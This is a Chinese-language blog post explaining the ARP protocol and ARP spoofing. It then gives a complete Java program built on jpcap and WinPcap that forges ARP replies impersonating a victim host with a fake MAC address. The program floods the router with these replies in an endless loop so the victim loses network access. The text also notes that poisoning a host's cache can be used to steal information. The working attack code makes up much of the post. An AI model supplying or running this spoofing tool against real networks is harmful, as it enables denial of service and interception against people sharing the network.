基于JAVA的ARP欺骗的程序实现

       在实现ARP欺骗之前,我们必须知道什么是ARP。
       在局域网当中,当主机或其它网络设备有数据要发送给另一个主机或设备时,它必须要知道对方的IP地址,但仅仅有IP地址是不够的,因为IP数据报文必须封装成帧才能通过物理网络发送,因此发送站还必须有接收站的物理地址,所以需要一个从IP地址到物理地址的映射。ARP就是实现这个功能的协议。
       我们通过一个简单的例子来解释一下ARP在局域网中的运作。

       1.假设现在有一个主机A和一个主机B,二者处在同一个局域网当中。当主机A需要和主机B进行数据通信的时候,主机A会在自己的ARP缓存中查找是否有与主机B对应的ARP表项。

       2.如果A在自己的ARP缓存当中找到了与主机B对应的ARP表,主机A直接利用ARP表中的MAC地址将IP数据包进行帧封装,将数据包发送给主机B。

       3.如果A在自己的ARP缓存中没有找到与主机B对应的ARP表,则主机A将以广播的方式发送一个ARP请求,该请求中包含了主机A本身的IP地址(源IP地址)和MAC地址(源MAC地址),同时包含了主机B的IP地址(目标IP地址)。由于请求是以广播的形式发送的,所以处于该局域网的所有主机都能够检测到该ARP请求,但是只有和ARP请求中目标IP地址相同的主机才能够收到ARP请求,其余的主机都会讲该ARP请求抛弃。主机B收到由A发送的ARP请求后,会向主机A以单播的形式发送一个ARP回复,该回复中包含了主机B的IP地址(源IP地址),主机B的MAC地址(源MAC地址),主机A的IP地址(目标IP地址),主机A的MAC地址(目标MAC地址)。同时会将主机A的IP地址和MAC地址写入自己的ARP缓存当中。
       4.主机A收到来自主机B的ARP的回复后,将ARP回复中的主机B的IP地址和MAC地址添加到自己的ARP缓存当中。这样主机A便能和主机B进行通信了。
       在对ARP的工作过程进行剖析后,我们就能够对ARP欺骗进行讲解了。
       ARP欺骗分为两种,一种是针对路由器进行欺骗,使路由器的ARP缓存中建立错误的IP与MAC地址映射表,结果就是从路由器发送的数据都发给了一个错误的MAC地址,造成主机无法正常接收信息。另一种是对主机中的ARP缓存进行欺骗,伪造主机路由器IP和MAC地址映射表,使主机发送的数据都发送到伪造后的MAC地址对应的主机上,这种情况不仅会使主机不能正常上网,而且还能用来窃取信息。

       我们用程序实现第一种ARP欺骗,并对第一种欺骗方式进行举例。

       假设现在主机A和主机B通过路由器C连接在同一个局域网内,主机A是欺骗方,主机B是被欺骗方。主机A在自己的ARP缓存中查到路由器C的IP地址IP_C,MAC地址MAC_C,查到主机B的IP地址IP_B。接下来,主机A自己生成一个ARP回复,该回复的源IP并不是主机A的IP地址,而是冒充主机B的IP地址IP_B,同时编造一个不存在的MAC地址作为回复的源MAC地址,目标IP是IP_C,目标MAC地址是MAC_C。这个ARP回复以单播的形式发送给路由器C之后,路由器并不会验证回复的真实性,而是会把IP_B和一个不存在的MAC地址写入自己的ARP缓存,此时,所有通过路由器发送给主机B的数据,都会因为找不到目标而发送失败。

       总结一下:主机A冒充主机B不断向路由器发送一个包含错误的IP和MAC映射表的ARP回复,使经由路由器发给B的数据无法到达目的地,从而致使主机B无法正常上网。

       接下来,我们用Java程序来实现这个欺骗过程。注意:JAVA自身是没有办法对数据链路层进行相关操作的,而ARP包的发送处于数据链路层。我们必须借助WinPcap来实现对数据链路层的相关操作,同时需要jpcap来作为沟通JAVA和WinPcap的媒介。所以应该提前安装WinPcap和jpcap。

       需要补充解释一点:我们会在程序当中伪造一个ARP回复,这里必须了解ARP报文的结构。报文结构如下:

      

       上图详细的说明了报文的构成,我们在生成ARP回复时,是通过jpcap提供的类ARPPacket来生成的,必须要把ARP中的每一个数据填充清楚,否则就会发送不成功。

代码如下:

[java]  view plain  copy
  1. import java.net.InetAddress;    
  2. import jpcap.JpcapCaptor;    
  3. import jpcap.JpcapSender;    
  4. import jpcap.NetworkInterface;    
  5. import jpcap.packet.ARPPacket;    
  6. import jpcap.packet.EthernetPacket;    
  7.     
  8. public class Test{    
  9.     static byte[] stomac(String s) {    
  10.         byte[] mac = new byte[] { (byte0x00, (byte0x00, (byte0x00, (byte0x00, (byte0x00, (byte0x00 };    
  11.         String[] s1 = s.split("-");    
  12.         for (int x = 0; x < s1.length; x++) {    
  13.             mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);    
  14.         }    
  15.         return mac;    
  16.     }    
  17.     public static void main(String[] args) throws Exception {    
  18.         InetAddress desip = InetAddress.getByName("192.168.0.1");// 被欺骗的目标IP地址    
  19.         byte[] desmac = stomac("c8-3a-35-4a-0c-08");// 被欺骗的目标目标MAC数组    
  20.         InetAddress srcip = InetAddress.getByName("192.168.0.105");// 源IP地址    
  21.         byte[] srcmac = stomac("3c-97-0e-45-01-d4"); // 假的MAC数组    
  22.         // 枚举网卡并打开设备    
  23.         NetworkInterface[] devices = JpcapCaptor.getDeviceList();  //枚举网卡设备  
  24.         NetworkInterface device = devices[2];  //选择网卡设备  
  25.         JpcapSender sender = JpcapSender.openDevice(device);  //打开网卡设备  
  26.         // 设置ARP包    
  27.         ARPPacket arp = new ARPPacket();    
  28.         arp.hardtype = ARPPacket.HARDTYPE_ETHER;    //硬件类型  
  29.         arp.prototype = ARPPacket.PROTOTYPE_IP;   //协议类型  
  30.         arp.operation = ARPPacket.ARP_REPLY;      //操作类型 REPLY 表示类型为应答  
  31.         arp.hlen = 6;  //硬件地址长度  
  32.         arp.plen = 4;  //协议类型长度  
  33.         arp.sender_hardaddr = srcmac;  //发送端MAC地址  
  34.         arp.sender_protoaddr = srcip.getAddress(); //发送端IP地址    
  35.         arp.target_hardaddr = desmac;  //目标硬件地址  
  36.         arp.target_protoaddr = desip.getAddress(); //目标IP地址  
  37.         // 定义以太网首部  
  38.         EthernetPacket ether = new EthernetPacket();    
  39.         ether.frametype = EthernetPacket.ETHERTYPE_ARP;  //设置帧的类型为ARP帧  
  40.         ether.src_mac = srcmac;  //源MAC地址  
  41.         ether.dst_mac = desmac;  //目标MAC地址  
  42.         arp.datalink = ether;  //添加  
  43.         // 发送ARP应答包    
  44.         while (true) {    
  45.             System.out.println("sending arp..");    
  46.             sender.sendPacket(arp);    
  47.             Thread.sleep(10);    
  48.         }    
  49.     }    
  50. }    

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值